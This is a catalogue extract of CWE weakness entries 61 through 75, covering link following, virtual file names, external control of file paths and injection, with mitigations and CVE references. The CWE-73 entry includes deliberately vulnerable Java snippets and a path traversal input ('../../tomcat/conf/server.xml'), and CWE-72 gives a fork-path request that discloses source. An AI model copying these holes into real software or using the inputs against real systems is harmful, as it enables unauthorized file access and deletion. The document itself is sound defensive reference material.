PLOVER	UNIX Path Link problems

CWE-61: UNIX Symbolic Link (Symlink) Following

Compound Element ID: 61 *(Compound Element Variant: Composite)* **Status:** Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Alternate Terms

Symlink following
symlink vulnerability

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Likelihood of Exploit
High to Very High

Observed Examples
Reference	Description
CVE-1999-1386	
CVE-2000-0972	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178	
CVE-2003-0517	
CVE-2004-0217	
CVE-2004-0689	Possible interesting example
CVE-2005-0824	Signal causes a dump that follows symlinks.
CVE-2005-1879	Second-order symlink vulns
CVE-2005-1880	Second-order symlink vulns
CVE-2005-1916	Symlink in Python program

Potential Mitigations
Symbolic link attacks often occur when a program creates a tmp directory that stores files/ links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Follow the principle of least privilege when assigning access rights to files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Other Notes
Fault: filename predictability, insecure directory permissions, non-atomic operations, race condition.

These are typically reported for temporary files or privileged programs.

Weakness Ordinalities
Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	B	59	Improper Link Resolution Before File Access ('Link Following')	**1000**	54
ChildOf	C	60	UNIX Path Link Problems	**631 699**	56
Requires	B	216	Containment Errors (Container Errors)	1000	246
Requires	C	275	Permission Issues	1000	302
Requires	B	340	Predictability Problems	1000	364
Requires	B	362	Race Condition	1000	383
Requires	B	386	Symbolic Name not Mapping to Correct Object	1000	412

Research Gaps
Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.

"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

Causal Nature
Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
PLOVER	UNIX symbolic link following

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
27	Leveraging Race Conditions via Symbolic Links	

References

Steve Christey. "Second-Order Symlink Vulnerabilities". Bugtraq. 2005-06-07. < http://www.securityfocus.com/archive/1/401682 >.

Shaun Colley. "Crafting Symlinks for Fun and Profit". Infosec Writers Text Library. 2004-04-12. < http://www.infosecwriters.com/texts.php?op=display&id=159 >.

CWE-62: UNIX Hard Link

Weakness ID: 62 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- UNIX

Observed Examples

Reference	Description
BUGTRAQ:20030203 ASA-0001	OpenBSD chpass/chfn/chsh file content leak
CVE-1999-0783	
CVE-2001-1494	Hard link attack, file overwrite; interesting because program checks against soft links
CVE-2002-0793	
CVE-2003-0578	
CVE-2004-1603	
CVE-2004-1901	
CVE-2005-1111	Hard link race condition

Potential Mitigations

Follow the principle of least privilege when assigning access rights to files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	59	Improper Link Resolution Before File Access ('Link Following')	**1000**	54
ChildOf	C	60	UNIX Path Link Problems	**631** **699**	56
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
PeerOf	Wv	*71*	*Apple '.DS_Store'*	*1000*	*65*

Research Gaps

Under-studied. It is likely that programs that check for symbolic links could be vulnerable to hard links.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		UNIX hard link
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-63: Windows Path Link Problems

Category ID: 63 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of links within Windows-based operating systems.

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	59	Improper Link Resolution Before File Access ('Link Following')	**699**	54
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf	WW	*64*	*Windows Shortcut Following (.LNK)*	***631*** ***699***	*59*
ParentOf	WW	*65*	*Windows Hard Link*	***631*** ***699***	*60*

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID: 64 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Alternate Terms

Windows symbolic link following

symlink

Time of Introduction

- Operation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Likelihood of Exploit

Medium to High

Observed Examples

Reference	Description
CVE-2000-0342	
CVE-2001-1042	
CVE-2001-1043	
CVE-2001-1386	".LNK." - .LNK with trailing dot
CVE-2003-1233	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link
CVE-2005-0587	

Potential Mitigations

Follow the principle of least privilege when assigning access rights to files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	59	Improper Link Resolution Before File Access ('Link Following')	**1000**	54
ChildOf	P	63	Windows Path Link Problems	**631** **699**	59
ChildOf	P	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Research Gaps

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows Shortcut Following (.LNK)
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-65: Windows Hard Link

Weakness ID: 65 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-2002-0725	
CVE-2003-0844	

Potential Mitigations

Follow the principle of least privilege when assigning access rights to files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	59	Improper Link Resolution Before File Access ('Link Following')	**1000**	54
ChildOf	C	63	Windows Path Link Problems	**631 699**	59
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Research Gaps

Under-studied

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows hard link
CERT C Secure Coding	FIO05-C	Identify files using multiple file attributes

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description

Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	21	Pathname Traversal and Equivalence Errors	**699**	21
ChildOf	Wc	706	Use of Incorrectly-Resolved Name or Reference	**1000**	708
ParentOf	Ww	*67*	*Improper Handling of Windows Device Names*	***699 1000***	*62*
ParentOf	C	*68*	*Windows Virtual File Problems*	***699***	*63*
ParentOf	Ww	*69*	*Failure to Handle Windows ::DATA Alternate Data Stream*	***699 1000***	*63*
ParentOf	C	*70*	*Mac Virtual File Problems*	***699***	*64*
ParentOf	Ww	*71*	*Apple '.DS_Store'*	***1000***	*65*
ParentOf	Ww	*72*	*Improper Handling of Apple HFS+ Alternate Data Stream Path*	***699 1000***	*66*

Affected Resources

- File/Directory

Functional Areas

- File processing

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Virtual Files

CWE-67: Improper Handling of Windows Device Names

Weakness ID: 67 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information leak when the application attempts to process the pathname as a regular file.

Extended Description

Failing to properly handle virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Likelihood of Exploit

High to Very High

Observed Examples

Reference	Description
CVE-2000-0168	
CVE-2001-0492	
CVE-2001-0493	
CVE-2001-0558	
CVE-2002-0106	
CVE-2002-0200	
CVE-2002-1052	
CVE-2004-0552	
CVE-2005-2195	

Potential Mitigations

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

Other Notes

Historically, there was a bug in the Windows operating system that caused a blue screen of death, but even after that issue was fixed, DOS device names continue to be a factor.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	66	Improper Handling of File Names that Identify Virtual Resources	**699** **1000**	61
ChildOf	C	68	Windows Virtual File Problems	631	63
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Affected Resources

- File/Directory

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Windows MS-DOS device names
CERT C Secure Coding	FIO32-C	Do not perform operations on devices that are only appropriate for files

References

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

CWE-68: Windows Virtual File Problems

Category ID: 68 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of virtual files within Windows-based operating systems.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	66	Improper Handling of File Names that Identify Virtual Resources	**699**	61
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf	Wv	*67*	*Improper Handling of Windows Device Names*	*631*	*62*
ParentOf	Wv	*69*	*Failure to Handle Windows ::DATA Alternate Data Stream*	*631* *699*	*63*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows Virtual File problems

CWE-69: Failure to Handle Windows ::DATA Alternate Data Stream

Weakness ID: 69 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Windows

Observed Examples

Reference	Description
CVE-1999-0278	
CVE-2000-0927	

Potential Mitigations

Software tools are capable of finding ADSs on your system.

Ensure that the source code correctly parses the filename to read or write to the correct stream.

Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

Other Notes

Fault: multiple identifiers, non-atomic object

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	66	Improper Handling of File Names that Identify Virtual Resources	**699** **1000**	61
ChildOf	Category	68	Windows Virtual File Problems	631 699	63
ChildOf	Category	634	Weaknesses that Affect System Processes	**631**	616

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Windows ::DATA alternate data stream

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
11	Cause Web Server Misclassification

References

Don Parker. "Windows NTFS Alternate Data Streams". 2005-02-16. < http://www.securityfocus.com/infocus/1822 >.

M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.

CWE-70: Mac Virtual File Problems

Category ID: 70 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of virtual files within Mac-based operating systems.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	66	Improper Handling of File Names that Identify Virtual Resources	**699**	61
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ParentOf	Wv	*71*	*Apple '.DS_Store'*	***631 699***	*65*
ParentOf	Wv	*72*	*Improper Handling of Apple HFS+ Alternate Data Stream Path*	***631*** *699*	*66*

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Mac Virtual File problems

CWE-71: Apple '.DS_Store'

Weakness ID: 71 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Software operating in a MAC OS environment, where .DS_Store is in effect, must carefully manage hard links, otherwise an attacker may be able to leverage a hard link from .DS_Store to overwrite arbitrary files and gain privileges.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BUGTRAQ:20010910	More security problems in Apache on Mac OS X
CVE-2005-0342	The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Wv	62	UNIX Hard Link	1000	58
ChildOf	We	66	Improper Handling of File Names that Identify Virtual Resources	**1000**	61
ChildOf	C	70	Mac Virtual File Problems	**631 699**	64

Research Gaps

Under-studied

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	DS - Apple '.DS_Store

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
19	Embedding Scripts within Scripts	
32	Embedding Scripts in HTTP Query Strings	
63	Simple Script Injection	
86	Embedding Script (XSS) in HTTP Headers	
91	XSS in IMG Tags	

Maintenance Notes

This entry, which originated from PLOVER, probably stems from a common manipulation that is used to exploit symlink and hard link following weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such, it is probably too low-level for inclusion in CWE.

CWE-72: Failure to Handle Apple HFS+ Alternate Data Stream Path

Weakness ID: 72 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- Mac OS

Demonstrative Examples

A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

Reference	Description
CVE-2004-1084	

Background Details

The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:

- Resource fork: file/..namedfork/rsrc, file/rsrc (deprecated), xattr:com.apple.ResourceFork
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.

Forks can also be accessed through non-portable APIs.

Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

Other Notes

Fault: multiple identifiers, non-atomic object

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	66	Improper Handling of File Names that Identify Virtual Resources	**699** **1000**	61
ChildOf		70	Mac Virtual File Problems	**631**	64

Nature	Type	ID	Name	V	Page
				699	

Research Gaps

Under-studied

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Apple HFS+ alternate data stream

References

Apple Inc.. < http://docs.info.apple.com/article.html?artnum=300422 >.

CWE-73: External Control of File Name or Path

Weakness ID: 73 *(Weakness Class)* **Status:** Draft

Description

Summary

The software allows user input to control or influence paths that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Operating Systems

- UNIX *(Often)*
- Windows *(Often)*
- Mac OS *(Often)*

Common Consequences

Confidentiality
Integrity
Availability

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker. Integrity is violated if the filename is written to, or if the filename is for a program or other form of executable code. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

Likelihood of Exploit

High to Very High

Demonstrative Examples

Example 1:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Bad Code

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Bad Code

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

Reference	Description
CVE-2008-5748	Chain: external control of values for user's desired language and theme enables path traversal.
CVE-2008-5764	Chain: external control of user's target language enables remote file inclusion.

Potential Mitigations

Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Architecture and Design
Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Assume all input is malicious. Use an "accept known good" input validation strategy (i.e., use a whitelist). Reject any input that does not strictly conform to specifications, or transform it into something that does. Use a blacklist to reject any unexpected inputs and detect potential attacks.

For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Installation
Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Operation
Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	20	Improper Input Validation	**699** **700**	14
CanPrecede	WE	22	Path Traversal	1000	22
CanPrecede	WE	41	Improper Resolution of Path Equivalence	1000	43
CanPrecede	WE	59	Improper Link Resolution Before File Access ('Link Following')	1000	54
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')	1000	116
CanPrecede		434	Unrestricted File Upload	1000	461
ChildOf	WC	610	Externally Controlled Reference to a Resource in Another Sphere	1000	597
ChildOf	WC	642	External Control of Critical State Data	**1000**	625
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf		752	Risky Resource Management	**750**	733
CanAlsoBe	WE	*99*	*Improper Control of Resource Identifiers ('Resource Injection')*	*1000*	*118*

Relationship Notes

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Path Manipulation

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
13	Subverting Environment Variable Values
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
72	URL Encoding
76	Manipulating Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic

References

"OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-74: Failure to Sanitize Data into a Different Plane (aka 'Injection')

Weakness ID: 74 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software fails to adequately filter user-controlled input data for syntax that has control-plane implications.

Extended Description

Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems span a wide range of instantiations. This is usually attempted in order to alter the control flow of the process.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality

Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation

Authentication

In some cases injectable code controls authentication; this may lead to remote vulnerability

Access Control

Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.

Integrity

Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.

Accountability

Often the actions performed by injected control code are unlogged.

Likelihood of Exploit

Very High

Potential Mitigations

Requirements specification: Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation

Utilize an appropriate mix of white-list and black-list parsing to filter control-plane syntax from all input.

Other Notes

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	20	Improper Input Validation	**699**	14
ChildOf	Wc	707	Improper Enforcement of Message or Data Structure	**1000**	709
ChildOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	**711**	718
CanFollow	Wc	*20*	*Improper Input Validation*	*1000*	*14*
ParentOf	Wc	*75*	*Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)*	***699 1000***	*72*
ParentOf	Wc	*77*	*Failure to Sanitize Data into a Control Plane ('Command Injection')*	***699 1000***	*74*
ParentOf	We	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	***699 1000***	*83*
ParentOf	We	*88*	*Argument Injection or Modification*	***699 1000***	*97*
ParentOf	We	*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	***699 1000***	*99*
ParentOf	We	*90*	*Failure to Sanitize Data into LDAP Queries ('LDAP Injection')*	***699 1000***	*106*
ParentOf	We	*91*	*XML Injection (aka Blind XPath Injection)*	***699 1000***	*107*
ParentOf	We	*92*	*Improper Sanitization of Custom Special Characters*	***699 1000***	*107*
ParentOf	We	*93*	*Failure to Sanitize CRLF Sequences ('CRLF Injection')*	***699 1000***	*109*
ParentOf	We	*94*	*Failure to Control Generation of Code ('Code Injection')*	***699 1000***	*110*
ParentOf	We	*99*	*Improper Control of Resource Identifiers ('Resource Injection')*	***699 1000***	*118*
CanFollow	Wc	*116*	*Improper Encoding or Escaping of Output*	***1000***	*136*
ParentOf	We	*134*	*Uncontrolled Format String*	***699 1000***	*164*

Relationship Notes

In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the

protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the failure to enforce the structure of messsages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Injection problem ('data' used as something else)
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
7	Blind SQL Injection
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
28	Fuzzing
34	HTTP Response Splitting
40	Manipulating Writeable Terminal Devices
42	MIME Conversion
43	Exploiting Multiple Input Interpretation Layers
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
51	Poison Web Service Registry
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
66	SQL Injection
67	String Format Overflow in syslog()
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
76	Manipulating Input to File System Calls
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
83	XPath Injection
84	XQuery Injection
91	XSS in IMG Tags
101	Server Side Include (SSI) Injection

CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Weakness ID: 75 *(Weakness Class)* **Status:** Draft

Description

Summary

The software fails to adequately filter user-controlled input for special elements with control implications.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Requirements specification: Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation

Utilize an appropriate mix of white-list and black-list parsing to filter special element syntax from all input.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	74	Failure to Sanitize Data into a Different Plane ('Injection')	**699 1000**	70
ParentOf	Weakness	*76*	*Failure to Resolve Equivalent Special Elements into a Different Plane*	***699 1000***	*73*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Special Element Injection

